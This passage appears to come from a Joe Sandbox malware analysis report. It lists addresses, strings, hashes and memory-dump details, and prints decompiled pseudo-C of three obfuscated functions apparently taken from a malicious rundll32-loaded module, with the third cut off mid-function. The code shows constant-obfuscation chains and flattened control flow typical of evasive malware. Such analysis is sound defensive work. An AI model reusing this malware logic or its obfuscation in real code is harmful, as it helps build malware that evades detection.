0x029d482e
0x029d4836
0x029d483e
0x029d4846
0x029d4852
0x029d4855
0x029d485e
0x029d4862
0x029d486a
0x029d4872
0x029d4877
0x029d4884
0x029d4888
0x029d4890
0x029d4898
0x029d48a0
0x029d48a8
0x029d48ad
0x029d48b5
0x029d48bd
0x029d48c2
0x029d48ca
0x029d48d7
0x029d48db
0x029d48e5
0x029d48ed
0x029d48f2
0x029d48fa
0x029d4902
0x029d490a
0x029d490f
0x029d4917
0x029d4925
0x029d492a
0x029d4930
0x029d4938
0x029d4940
0x029d494d
0x029d4950
0x029d4954
0x029d4959
0x029d495e
0x029d4966
0x029d496e
0x029d4976
0x029d4983
0x029d4987
0x029d498f
0x029d4997
0x029d499f
0x029d49a7
0x029d49af
0x029d49b7
0x029d49bc
0x029d49c4
0x029d49cc
0x029d49d4
0x029d49e1
0x029d49e5
0x029d49ed
0x029d49f5
0x029d49f9
0x029d4a01
0x029d4a06
0x029d4a0e
0x029d4a16
0x029d4a1e
0x029d4a2e
0x029d4a32
0x029d4a3a
0x029d4a42
0x029d4a4a
0x029d4a52
0x029d4a5a
0x029d4a67
0x029d4a6a
0x029d4a6e
0x029d4a76
0x029d4a7e
0x029d4a86
0x029d4a96
0x029d4a9a
0x029d4aa2
0x029d4aae
0x029d4ab1
0x029d4ac1
0x029d4ac5
0x029d4acd
0x029d4ad5
0x029d4ae5
0x029d4ae9
0x029d4af1
0x029d4af1
0x029d4afb
0x029d4b33
0x029d4b3c
0x029d4b40
0x029d4b45
0x029d4b58
0x029d4bbd
0x029d4bce
0x029d4bd3
0x029d4bd6
0x00000000
0x029d4afd
0x029d4b03
0x029d4c2e
0x029d4b09
0x029d4b0f
0x00000000
0x029d4b15
0x029d4b15
0x00000000
0x029d4b15
0x029d4b0f
0x029d4b03
0x029d4c37
0x029d4c42
0x029d4c42
0x029d4bf4
0x029d4bf9
0x029d4bfc
0x029d4bfe
0x029d4c07
0x00000000
0x029d4c00
0x029d4c00
0x00000000
0x029d4c00
0x00000000
0x029d4c0c
0x029d4c0c
0x029d4c0c
0x00000000

Strings

|p, xrefs: 029D48F2
aA]<, xrefs: 029D4816
@#, xrefs: 029D49BC
-a(, xrefs: 029D4A06
@I, xrefs: 029D4A6E
D, xrefs: 029D4B45
G&, xrefs: 029D4AE9

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: -a($@#$@I$D$G&$aA]<$|p
API String ID: 0-3359372099
Opcode ID: bf8a510031b14812872037d4881b55931e7670fc526834105fff8f876abb5e10
Instruction ID: 5e8f885c253bdd2e3964251b00f7d985797d2b21336fdf1fe6e02df7e146bd06
Opcode Fuzzy Hash: bf8a510031b14812872037d4881b55931e7670fc526834105fff8f876abb5e10
Instruction Fuzzy Hash: F2C1FDB25083809FD368CF26C98995BFBF2BBC4748F509A1DF29596260D3B58949CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029D04A4, Relevance: 9.0, Strings: 7, Instructions: 202
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029D04A4() {
				signed int _v4;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				void* _t190;
				void* _t192;
				intOrPtr* _t197;
				signed int _t199;
				intOrPtr* _t201;
				signed int _t202;
				signed int _t203;
				signed int _t204;
				signed int _t205;
				signed int _t206;
				void* _t207;
				void* _t212;
				void* _t234;
				signed int* _t238;

				_t238 =  &_v80;
				_v76 = 0x90415e;
				_v4 = 0;
				_v76 = _v76 * 0x3a;
				_t234 = 0xe71254f;
				_v76 = _v76 << 5;
				_t202 = 0x53;
				_v76 = _v76 / _t202;
				_v76 = _v76 ^ 0x80436582;
				_v36 = 0x1f357d;
				_v36 = _v36 | 0x358f7f35;
				_v36 = _v36 ^ 0x359f7f7f;
				_v56 = 0x830fc1;
				_v56 = _v56 | 0x4976aaf9;
				_v56 = _v56 ^ 0x80c68497;
				_v56 = _v56 ^ 0xc93bab44;
				_v80 = 0xd7434;
				_t203 = 0x60;
				_v80 = _v80 * 0x5d;
				_v80 = _v80 / _t203;
				_v80 = _v80 >> 1;
				_v80 = _v80 ^ 0x0005c1c2;
				_v40 = 0x7826b6;
				_v40 = _v40 | 0xb8256148;
				_v40 = _v40 + 0x484c;
				_v40 = _v40 ^ 0xb876fcf8;
				_v16 = 0xf99d8b;
				_v16 = _v16 ^ 0xe4684dc9;
				_v16 = _v16 ^ 0xe49aa9e9;
				_v44 = 0xcb7cba;
				_v44 = _v44 << 7;
				_t204 = 0x56;
				_v44 = _v44 / _t204;
				_v44 = _v44 ^ 0x012c985e;
				_v20 = 0x84ba4d;
				_v20 = _v20 + 0x1528;
				_v20 = _v20 ^ 0x0089522e;
				_v48 = 0xd6cec2;
				_v48 = _v48 + 0xffffaa91;
				_v48 = _v48 + 0xb4ec;
				_v48 = _v48 ^ 0x00d10b86;
				_v52 = 0x4eabb6;
				_t205 = 0x61;
				_v52 = _v52 * 0x27;
				_v52 = _v52 ^ 0xe822c6cc;
				_v52 = _v52 ^ 0xe3dbc3a8;
				_v28 = 0xaf49bd;
				_v28 = _v28 << 5;
				_v28 = _v28 | 0x95363c01;
				_v28 = _v28 ^ 0x95fa5f23;
				_v32 = 0xf13234;
				_v32 = _v32 | 0x7b1d3f93;
				_v32 = _v32 ^ 0x42e57d48;
				_v32 = _v32 ^ 0x39139efc;
				_v72 = 0x4f1e65;
				_v72 = _v72 | 0xa0a51414;
				_v72 = _v72 / _t205;
				_t199 = _v4;
				_t206 = 0x35;
				_v72 = _v72 / _t206;
				_v72 = _v72 ^ 0x000a038e;
				_v24 = 0x15139c;
				_v24 = _v24 >> 0xb;
				_v24 = _v24 ^ 0x000e2bcf;
				_v60 = 0xd0b0ba;
				_v60 = _v60 * 7;
				_v60 = _v60 >> 1;
				_v60 = _v60 ^ 0x02dae1aa;
				_v64 = 0x949590;
				_v64 = _v64 + 0xffff8140;
				_v64 = _v64 * 0x45;
				_v64 = _v64 + 0x9395;
				_v64 = _v64 ^ 0x27e7e8ef;
				_v68 = 0xf56216;
				_v68 = _v68 << 0x10;
				_v68 = _v68 >> 3;
				_v68 = _v68 << 0xa;
				_v68 = _v68 ^ 0x0b01e78f;
				_v12 = 0x97fa04;
				_v12 = _v12 >> 2;
				_v12 = _v12 ^ 0x0023afef;
				while(1) {
					L1:
					_t207 = 0x5c;
					while(1) {
						_t190 = 0xde2277d;
						do {
							L3:
							while(_t234 != 0x53e1990) {
								if(_t234 == 0xb30e156) {
									_t192 = E029E0AD3(_v56, _v80, __eflags);
									_t212 = 0x29c149c;
									__eflags = E029C2089(_v36, _v40, _t212, _v16, _v44, _v20, _t212,  &_v8, _t212, _t212, _v48, _v76, _v52, _t192);
									_t234 =  ==  ? 0xde2277d : 0xa1a247d;
									E029D2EED(_v28, _v32, _v72, _t192);
									_t238 =  &(_t238[0xf]);
									L16:
									_t190 = 0xde2277d;
									_t207 = 0x5c;
								} else {
									if(_t234 == 0xc50c5c6) {
										_t201 =  *0x29e5bd8 + 0x30;
										while(1) {
											__eflags =  *_t201 - _t207;
											if(__eflags == 0) {
												break;
											}
											_t201 = _t201 + 2;
											__eflags = _t201;
										}
										_t199 = _t201 + 2;
										_t234 = 0xb30e156;
										_t190 = 0xde2277d;
										continue;
									} else {
										if(_t234 == _t190) {
											_t197 = E029C5D0C(_v24, _v60, _v8, _t199);
											_t234 = 0x53e1990;
											__eflags = _t197;
											_v4 = 0 | __eflags == 0x00000000;
											goto L1;
										} else {
											if(_t234 == 0xe71254f) {
												_t234 = 0xc50c5c6;
												continue;
											}
										}
									}
								}
								goto L17;
							}
							E029E2A25(_v64, _v68, _v8, _v12);
							_t234 = 0xa1a247d;
							goto L16;
							L17:
							__eflags = _t234 - 0xa1a247d;
						} while (__eflags != 0);
						return _v4;
					}
				}
			}

0x029d04a4
0x029d04a7
0x029d04b1
0x029d04c0
0x029d04c4
0x029d04c9
0x029d04d4
0x029d04d9
0x029d04df
0x029d04e7
0x029d04ef
0x029d04f7
0x029d04ff
0x029d0507
0x029d050f
0x029d0517
0x029d051f
0x029d052c
0x029d052f
0x029d053b
0x029d053f
0x029d0543
0x029d054b
0x029d0553
0x029d055b
0x029d0563
0x029d056b
0x029d0573
0x029d057b
0x029d0583
0x029d058b
0x029d0594
0x029d0599
0x029d059f
0x029d05a7
0x029d05af
0x029d05b7
0x029d05bf
0x029d05c7
0x029d05cf
0x029d05d7
0x029d05df
0x029d05ec
0x029d05ed
0x029d05f1
0x029d05f9
0x029d0601
0x029d0609
0x029d060e
0x029d0616
0x029d061e
0x029d0626
0x029d062e
0x029d0636
0x029d063e
0x029d0646
0x029d0654
0x029d0660
0x029d0664
0x029d066c
0x029d0670
0x029d0678
0x029d0680
0x029d0685
0x029d068d
0x029d069a
0x029d069e
0x029d06a2
0x029d06aa
0x029d06b2
0x029d06bf
0x029d06c3
0x029d06cb
0x029d06d3
0x029d06db
0x029d06e0
0x029d06e5
0x029d06ea
0x029d06f2
0x029d06fa
0x029d06ff
0x029d0707
0x029d0707
0x029d0709
0x029d070a
0x029d070a
0x029d070f
0x00000000
0x029d070f
0x029d0721
0x029d0792
0x029d0797
0x029d07c9
0x029d07e2
0x029d07e5
0x029d07ea
0x029d0808
0x029d080a
0x029d080f
0x029d0723
0x029d0729
0x029d076e
0x029d0776
0x029d0776
0x029d0779
0x00000000
0x00000000
0x029d0773
0x029d0773
0x029d0773
0x029d077b
0x029d077e
0x029d070a
0x00000000
0x029d072b
0x029d072d
0x029d074f
0x029d0758
0x029d075d
0x029d0762
0x00000000
0x029d072f
0x029d0735
0x029d073b
0x00000000
0x029d073b
0x029d0735
0x029d072d
0x029d0729
0x00000000
0x029d0721
0x029d07ff
0x029d0806
0x00000000
0x029d0810
0x029d0810
0x029d0810
0x029d0823
0x029d0823
0x029d070a

Strings

4t, xrefs: 029D051F
H}B, xrefs: 029D062E
LH, xrefs: 029D055B
', xrefs: 029D06CB
}', xrefs: 029D07D6
}', xrefs: 029D080A
}', xrefs: 029D070A

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: 4t$H}B$LH$}'$}'$}'$'
API String ID: 0-3450385318
Opcode ID: 1450f813d3dbabae78b245b4fd73435b25e1674c950a747f1baf7d2baf90f6f7
Instruction ID: 32db810fa4110dd22dc8742e6f943bc7bd5c6030c04389d2d7f43a2d4e2da092
Opcode Fuzzy Hash: 1450f813d3dbabae78b245b4fd73435b25e1674c950a747f1baf7d2baf90f6f7
Instruction Fuzzy Hash: FE9111726093409FD758CF65D98A81BBBF2FBC8748F108A0DF5999A260D7B18948CF47

Uniqueness

Uniqueness Score: -1.00%

Function 029CB12E, Relevance: 7.8, Strings: 6, Instructions: 313
COMMONCrypto

Download Yara Rule

C-Code - Quality: 90%

			E029CB12E(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v520;
				char _v1040;
				char _v1560;
				signed int _v1564;
				signed int _v1568;
				signed int _v1572;
				signed int _v1576;
				signed int _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				void* _t327;
				void* _t345;
				void* _t360;
				void* _t370;
				void* _t403;
				signed int _t404;
				signed int _t405;
				signed int _t406;
				signed int _t407;
				signed int _t408;
				signed int _t409;
				signed int* _t414;

				_push(_a12);
				_t403 = 0;
				_push(_a8);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E029C8002(_t327);
				_v1640 = 0x18960f;
				_t414 =  &(( &_v1700)[5]);
				_v1640 = _v1640 + 0xffffb0ef;
				_v1640 = _v1640 << 0xc;
				_t370 = 0x40cc407;
				_v1640 = _v1640 ^ 0x846fe029;
				_v1700 = 0x39ddee;
				_t404 = 0x21;
				_v1700 = _v1700 / _t404;
				_v1700 = _v1700 ^ 0x36b039b0;
				_v1700 = _v1700 + 0xb30d;
				_v1700 = _v1700 ^ 0x36b91bbb;
				_v1568 = 0xc57699;
				_v1568 = _v1568 | 0xde2d581e;
				_v1568 = _v1568 ^ 0xdeecc176;
				_v1676 = 0x38b08;
				_v1676 = _v1676 | 0xf4302328;
				_v1676 = _v1676 + 0xffff874d;
				_v1676 = _v1676 << 7;
				_v1676 = _v1676 ^ 0x199d7f00;
				_v1644 = 0x234753;
				_v1644 = _v1644 << 1;
				_v1644 = _v1644 >> 4;
				_v1644 = _v1644 ^ 0x000c23d7;
				_v1580 = 0x673aaf;
				_v1580 = _v1580 ^ 0x34ed9787;
				_v1580 = _v1580 ^ 0x3488862c;
				_v1636 = 0xf7aa52;
				_v1636 = _v1636 + 0xffff1d5d;
				_v1636 = _v1636 ^ 0x5c96da78;
				_v1636 = _v1636 ^ 0x5c67c57e;
				_v1696 = 0x2ba240;
				_v1696 = _v1696 + 0x9342;
				_v1696 = _v1696 + 0xffff922e;
				_v1696 = _v1696 | 0x53158430;
				_v1696 = _v1696 ^ 0x533ec6dc;
				_v1620 = 0xaf3ee9;
				_v1620 = _v1620 ^ 0x92eaab44;
				_v1620 = _v1620 << 5;
				_v1620 = _v1620 ^ 0x48b79e43;
				_v1672 = 0xc87889;
				_v1672 = _v1672 + 0x4cd9;
				_t405 = 0x39;
				_v1672 = _v1672 / _t405;
				_t406 = 0x44;
				_v1672 = _v1672 / _t406;
				_v1672 = _v1672 ^ 0x0001ff53;
				_v1596 = 0x377225;
				_t91 =  &_v1596; // 0x377225
				_v1596 =  *_t91 * 0x4e;
				_v1596 = _v1596 ^ 0x10e1c91c;
				_v1680 = 0xe27471;
				_v1680 = _v1680 + 0xffff2065;
				_v1680 = _v1680 >> 7;
				_v1680 = _v1680 + 0xffffc813;
				_v1680 = _v1680 ^ 0x0002d255;
				_v1628 = 0x5ed929;
				_v1628 = _v1628 | 0xad2692f3;
				_v1628 = _v1628 + 0x517;
				_v1628 = _v1628 ^ 0xad7c7db5;
				_v1688 = 0x6ab477;
				_v1688 = _v1688 | 0x3f0ac8dc;
				_v1688 = _v1688 >> 5;
				_t407 = 0x7c;
				_v1688 = _v1688 / _t407;
				_v1688 = _v1688 ^ 0x0002b8e2;
				_v1656 = 0xe49201;
				_v1656 = _v1656 >> 4;
				_v1656 = _v1656 ^ 0x3cbba8d3;
				_v1656 = _v1656 >> 7;
				_v1656 = _v1656 ^ 0x00748e21;
				_v1664 = 0x256d36;
				_v1664 = _v1664 << 1;
				_v1664 = _v1664 + 0x5c98;
				_v1664 = _v1664 ^ 0xc01eb017;
				_v1664 = _v1664 ^ 0xc05621bd;
				_v1592 = 0x91f22b;
				_v1592 = _v1592 << 0xc;
				_v1592 = _v1592 ^ 0x1f2b170f;
				_v1692 = 0x16e027;
				_t408 = 0x73;
				_v1692 = _v1692 * 0x7d;
				_v1692 = _v1692 + 0xffff2548;
				_v1692 = _v1692 + 0x7814;
				_v1692 = _v1692 ^ 0x0b2a74ae;
				_v1660 = 0xb8ca0;
				_v1660 = _v1660 << 6;
				_v1660 = _v1660 << 0xb;
				_v1660 = _v1660 >> 0xc;
				_v1660 = _v1660 ^ 0x0005feb5;
				_v1652 = 0x2cd3d3;
				_v1652 = _v1652 ^ 0xb56fc636;
				_v1652 = _v1652 >> 6;
				_v1652 = _v1652 << 0xe;
				_v1652 = _v1652 ^ 0x4312db53;
				_v1588 = 0x5b8b95;
				_v1588 = _v1588 >> 0xc;
				_v1588 = _v1588 ^ 0x00058c29;
				_v1608 = 0x6bf905;
				_v1608 = _v1608 + 0x1dd8;
				_v1608 = _v1608 ^ 0x7879ae36;
				_v1608 = _v1608 ^ 0x781b9945;
				_v1684 = 0xb0eab7;
				_v1684 = _v1684 << 3;
				_v1684 = _v1684 + 0xffff1ea1;
				_v1684 = _v1684 << 0x10;
				_v1684 = _v1684 ^ 0x7459ce5d;
				_v1668 = 0x95954;
				_v1668 = _v1668 ^ 0x32c7f21e;
				_v1668 = _v1668 >> 9;
				_v1668 = _v1668 + 0xffffc043;
				_v1668 = _v1668 ^ 0x00154acf;
				_v1624 = 0x432a00;
				_v1624 = _v1624 << 3;
				_v1624 = _v1624 * 0x29;
				_v1624 = _v1624 ^ 0x560db6e1;
				_v1600 = 0x795bd7;
				_v1600 = _v1600 / _t408;
				_v1600 = _v1600 ^ 0x00012ac5;
				_v1572 = 0x1651c3;
				_t409 = 9;
				_v1572 = _v1572 / _t409;
				_v1572 = _v1572 ^ 0x0002bbb3;
				_v1616 = 0xf27097;
				_v1616 = _v1616 >> 4;
				_v1616 = _v1616 >> 0xe;
				_v1616 = _v1616 ^ 0x0004dce6;
				_v1564 = 0x3952dd;
				_v1564 = _v1564 >> 4;
				_v1564 = _v1564 ^ 0x00037304;
				_v1632 = 0x98205d;
				_v1632 = _v1632 + 0xffffdd70;
				_v1632 = _v1632 | 0x8176cca4;
				_v1632 = _v1632 ^ 0x81f1375f;
				_v1576 = 0x8e05bb;
				_v1576 = _v1576 + 0xffff12be;
				_v1576 = _v1576 ^ 0x00806783;
				_v1604 = 0x990a6a;
				_v1604 = _v1604 + 0x8087;
				_v1604 = _v1604 >> 0x10;
				_v1604 = _v1604 ^ 0x000f17c6;
				_v1612 = 0x37d2a3;
				_v1612 = _v1612 + 0xffffb6cc;
				_v1612 = _v1612 ^ 0xfd8cca57;
				_v1612 = _v1612 ^ 0xfdbdfa1f;
				_v1584 = 0xf67908;
				_v1584 = _v1584 + 0xa160;
				_v1584 = _v1584 ^ 0x00fe742e;
				_v1648 = 0x27ed76;
				_v1648 = _v1648 * 0x1f;
				_v1648 = _v1648 >> 0xe;
				_v1648 = _v1648 >> 5;
				_v1648 = _v1648 ^ 0x000749b3;
				do {
					while(_t370 != 0x2de4606) {
						if(_t370 == 0x40cc407) {
							_push(_t370);
							E029CE259(_v1700, _v1640, _v1568, _v1676, _t370, _t370,  &_v1040, _v1644, _v1580);
							_t414 =  &(_t414[8]);
							_t370 = 0x2de4606;
							continue;
						} else {
							if(_t370 == 0x476bc3c) {
								_push(_v1648);
								_push( &_v520);
								_push(_t403);
								_push(_v1584);
								_push(_v1612);
								_push(_v1604);
								_push(_t403);
								_push(_t403);
								__eflags = E029E06EF(_v1576, __eflags);
								_t403 =  !=  ? 1 : _t403;
							} else {
								_t420 = _t370 - 0xe706352;
								if(_t370 != 0xe706352) {
									goto L8;
								} else {
									_push(0x29c155c);
									_t360 = E029E0AD3(_v1692, _v1660, _t420);
									E029E2C16( &_v1560, _t420);
									E029C238A( *0x29e5bd8 + 0x238, _t360,  &_v1040, _t403,  &_v1560,  *0x29e5bd8 + 0x30, _v1588, _v1608, _v1684,  &_v520, _v1668, _v1624, _v1600, _v1572);
									E029D2EED(_v1616, _v1564, _v1632, _t360);
									_t414 =  &(_t414[0x10]);
									_t370 = 0x476bc3c;
									continue;
								}
							}
						}
						L11:
						return _t403;
					}
					_push(0x29c144c);
					_t345 = E029E0AD3(_v1636, _v1696, __eflags);
					E029E2C16( &_v1560, __eflags);
					__eflags =  *0x29e5bd8 + 0x238;
					E029DB062( &_v520,  *0x29e5bd8 + 0x238,  *0x29e5bd8 + 0x238, _v1672, _v1596, _t345, _v1680, 0x104, _v1628,  *0x29e5bd8 + 0x30,  &_v1560,  &_v1040, _v1688);
					E029D2EED(_v1656, _v1664, _v1592, _t345);
					_t414 =  &(_t414[0xe]);
					_t370 = 0x476bc3c;
					L8:
					__eflags = _t370 - 0x3c4b149;
				} while (__eflags != 0);
				goto L11;
			}

0x029cb138
0x029cb13f
0x029cb141
0x029cb148
0x029cb14f
0x029cb150
0x029cb151
0x029cb156
0x029cb15e
0x029cb161
0x029cb16b
0x029cb170
0x029cb175
0x029cb17d
0x029cb18b
0x029cb190
0x029cb196
0x029cb19e
0x029cb1a6
0x029cb1ae
0x029cb1b9
0x029cb1c4
0x029cb1cf
0x029cb1d7
0x029cb1df
0x029cb1e7
0x029cb1ec
0x029cb1f4
0x029cb1fc
0x029cb200
0x029cb205
0x029cb20d
0x029cb218
0x029cb223
0x029cb22e
0x029cb236
0x029cb23e
0x029cb246
0x029cb24e
0x029cb256
0x029cb25e
0x029cb266
0x029cb26e
0x029cb276
0x029cb27e
0x029cb286
0x029cb28b
0x029cb293
0x029cb29b
0x029cb2a7
0x029cb2ac
0x029cb2b6
0x029cb2b9
0x029cb2bd
0x029cb2c5
0x029cb2cd
0x029cb2d2
0x029cb2d6
0x029cb2de
0x029cb2e6
0x029cb2ee
0x029cb2f3
0x029cb2fb
0x029cb303
0x029cb30b
0x029cb313
0x029cb31d
0x029cb325
0x029cb32d
0x029cb335
0x029cb340
0x029cb345
0x029cb34b
0x029cb353
0x029cb35b
0x029cb360
0x029cb368
0x029cb36d
0x029cb375
0x029cb37d
0x029cb381
0x029cb389
0x029cb391
0x029cb399
0x029cb3a4
0x029cb3ac
0x029cb3b7
0x029cb3c4
0x029cb3c7
0x029cb3cb
0x029cb3d3
0x029cb3db
0x029cb3e3
0x029cb3eb
0x029cb3f0
0x029cb3f5
0x029cb3fa
0x029cb402
0x029cb40a
0x029cb412
0x029cb417
0x029cb41c
0x029cb424
0x029cb42f
0x029cb437
0x029cb442
0x029cb44a
0x029cb452
0x029cb45a
0x029cb462
0x029cb46a
0x029cb46f
0x029cb477
0x029cb47c
0x029cb484
0x029cb48c
0x029cb494
0x029cb499
0x029cb4a1
0x029cb4a9
0x029cb4b1
0x029cb4bb
0x029cb4bf
0x029cb4c7
0x029cb4d7
0x029cb4db
0x029cb4e3
0x029cb4f5
0x029cb4f8
0x029cb4ff
0x029cb50a
0x029cb512
0x029cb517
0x029cb521
0x029cb52e
0x029cb539
0x029cb541
0x029cb54c
0x029cb554
0x029cb55c
0x029cb564
0x029cb56c
0x029cb577
0x029cb582
0x029cb58d
0x029cb595
0x029cb59d
0x029cb5a2
0x029cb5aa
0x029cb5b2
0x029cb5ba
0x029cb5c2
0x029cb5ca
0x029cb5d5
0x029cb5e0
0x029cb5eb
0x029cb5f8
0x029cb5fc
0x029cb601
0x029cb606
0x029cb60e
0x029cb60e
0x029cb61c
0x029cb6d3
0x029cb6fc
0x029cb701
0x029cb704
0x00000000
0x029cb622
0x029cb624
0x029cb7a7
0x029cb7b2
0x029cb7b3
0x029cb7b4
0x029cb7bb
0x029cb7bf
0x029cb7cd
0x029cb7ce
0x029cb7da
0x029cb7dc
0x029cb62a
0x029cb62a
0x029cb630
0x00000000
0x029cb636
0x029cb63e
0x029cb643
0x029cb651
0x029cb6a9
0x029cb6c4
0x029cb6c9
0x029cb6cc
0x00000000
0x029cb6cc
0x029cb630
0x029cb624
0x029cb7df
0x029cb7eb
0x029cb7eb
0x029cb713
0x029cb718
0x029cb726
0x029cb774
0x029cb77a
0x029cb78f
0x029cb794
0x029cb797
0x029cb799
0x029cb799
0x029cb799
0x00000000

Strings

v', xrefs: 029CB5EB
%r7, xrefs: 029CB2CD
6m%, xrefs: 029CB375
qt, xrefs: 029CB2DE
TY, xrefs: 029CB484
SG#, xrefs: 029CB1F4

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: %r7$6m%$SG#$TY$qt$v'
API String ID: 0-3237691032
Opcode ID: 91df2e91d328bc6c56184fc8e884bc7b3521230b992ce1540acda22a1127a7ff
Instruction ID: cd48f3527f895f176d86b531ef5cf925e4ccda232e1fcc7745ab6ff983e8c10a
Opcode Fuzzy Hash: 91df2e91d328bc6c56184fc8e884bc7b3521230b992ce1540acda22a1127a7ff
Instruction Fuzzy Hash: BCF10FB14083809FD769DF61C98AA5BBBF1BBC1748F10891CF2DA86220D7B58909CF43

Uniqueness

Uniqueness Score: -1.00%

Function 029CD899, Relevance: 7.8, Strings: 6, Instructions: 266
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029CD899(void* __ecx) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				unsigned int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				unsigned int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				unsigned int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				unsigned int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				void* _t274;
				void* _t281;
				void* _t286;
				void* _t291;
				void* _t297;
				signed int _t299;
				signed int _t300;
				signed int _t301;
				signed int _t302;
				signed int _t303;
				signed int _t304;
				signed int _t305;
				signed int _t306;
				signed int _t307;
				signed int _t308;
				void* _t311;
				void* _t341;
				intOrPtr _t342;
				signed int* _t344;
				void* _t351;

				_t344 =  &_v120;
				_v16 = 0xb8724b;
				_v12 = 0x4d7ece;
				_t342 = 0;
				_t341 = __ecx;
				_v8 = 0;
				_t311 = 0x6de8da5;
				_v4 = 0;
				_v28 = 0x22b23d;
				_t299 = 0x7b;
				_v28 = _v28 / _t299;
				_v28 = _v28 ^ 0x00000479;
				_v32 = 0x48d261;
				_t300 = 0x60;
				_v32 = _v32 * 0x54;
				_v32 = _v32 ^ 0x17e19119;
				_v104 = 0x9289de;
				_v104 = _v104 ^ 0xee2d5127;
				_v104 = _v104 + 0xfffff725;
				_v104 = _v104 + 0xdc7c;
				_v104 = _v104 ^ 0xeecf5476;
				_v36 = 0x675f45;
				_v36 = _v36 ^ 0xfc5958ac;
				_v36 = _v36 ^ 0xfc3c7922;
				_v108 = 0x68f95;
				_v108 = _v108 + 0xffff0f38;
				_v108 = _v108 / _t300;
				_v108 = _v108 >> 7;
				_v108 = _v108 ^ 0x000e3507;
				_v76 = 0x1f297b;
				_v76 = _v76 + 0xb84d;
				_t301 = 0x2a;
				_v76 = _v76 * 0x4b;
				_v76 = _v76 ^ 0x0957e7fd;
				_v112 = 0x91f42a;
				_v112 = _v112 + 0xffffb28a;
				_v112 = _v112 + 0xba01;
				_v112 = _v112 / _t301;
				_v112 = _v112 ^ 0x000bf764;
				_v44 = 0xc5a798;
				_t302 = 0x65;
				_v44 = _v44 * 0x3c;
				_v44 = _v44 ^ 0x2e5eb191;
				_v48 = 0x6a8470;
				_v48 = _v48 * 0x25;
				_v48 = _v48 ^ 0x0f68b0bc;
				_v116 = 0x3af893;
				_v116 = _v116 / _t302;
				_v116 = _v116 << 0xd;
				_v116 = _v116 << 5;
				_v116 = _v116 ^ 0x55e6145c;
				_v52 = 0xeea228;
				_v52 = _v52 + 0xffffdf96;
				_v52 = _v52 ^ 0x00e517ff;
				_v64 = 0x7a4b32;
				_v64 = _v64 | 0xceaa01ad;
				_v64 = _v64 + 0xffff0db6;
				_v64 = _v64 ^ 0xcef75d7c;
				_v68 = 0x58a308;
				_v68 = _v68 >> 8;
				_v68 = _v68 << 4;
				_v68 = _v68 ^ 0x000584fa;
				_v24 = 0x6e8a56;
				_v24 = _v24 + 0xffff0dad;
				_v24 = _v24 ^ 0x0065c2a9;
				_v72 = 0x39dfae;
				_t303 = 0x72;
				_v72 = _v72 / _t303;
				_v72 = _v72 >> 0xb;
				_v72 = _v72 ^ 0x000c8f6c;
				_v92 = 0x7725f6;
				_v92 = _v92 | 0x79ef78f1;
				_v92 = _v92 ^ 0x79febb94;
				_v56 = 0x45c881;
				_v56 = _v56 >> 0x10;
				_v56 = _v56 ^ 0x000ce75d;
				_v120 = 0x66e262;
				_v120 = _v120 >> 0xd;
				_t304 = 0x5f;
				_v120 = _v120 / _t304;
				_t305 = 0x24;
				_v120 = _v120 / _t305;
				_v120 = _v120 ^ 0x000936dd;
				_v60 = 0xf65d62;
				_v60 = _v60 ^ 0xb4a09185;
				_v60 = _v60 ^ 0xb45bd033;
				_v80 = 0x99fc53;
				_v80 = _v80 + 0xffffa42b;
				_t306 = 0x28;
				_v80 = _v80 / _t306;
				_v80 = _v80 ^ 0x0004af0c;
				_v84 = 0x7d0105;
				_v84 = _v84 | 0x39ac094e;
				_t307 = 0x5e;
				_v84 = _v84 / _t307;
				_v84 = _v84 ^ 0x0092896f;
				_v88 = 0xf20295;
				_v88 = _v88 + 0xffff2687;
				_v88 = _v88 >> 5;
				_v88 = _v88 ^ 0x0005130a;
				_v40 = 0x7c7f3c;
				_v40 = _v40 << 6;
				_v40 = _v40 ^ 0x1f1c3ee5;
				_v96 = 0x96b45a;
				_t308 = 0x56;
				_v96 = _v96 * 0x6b;
				_v96 = _v96 + 0x875f;
				_v96 = _v96 / _t308;
				_v96 = _v96 ^ 0x00b41412;
				_v100 = 0x4f821;
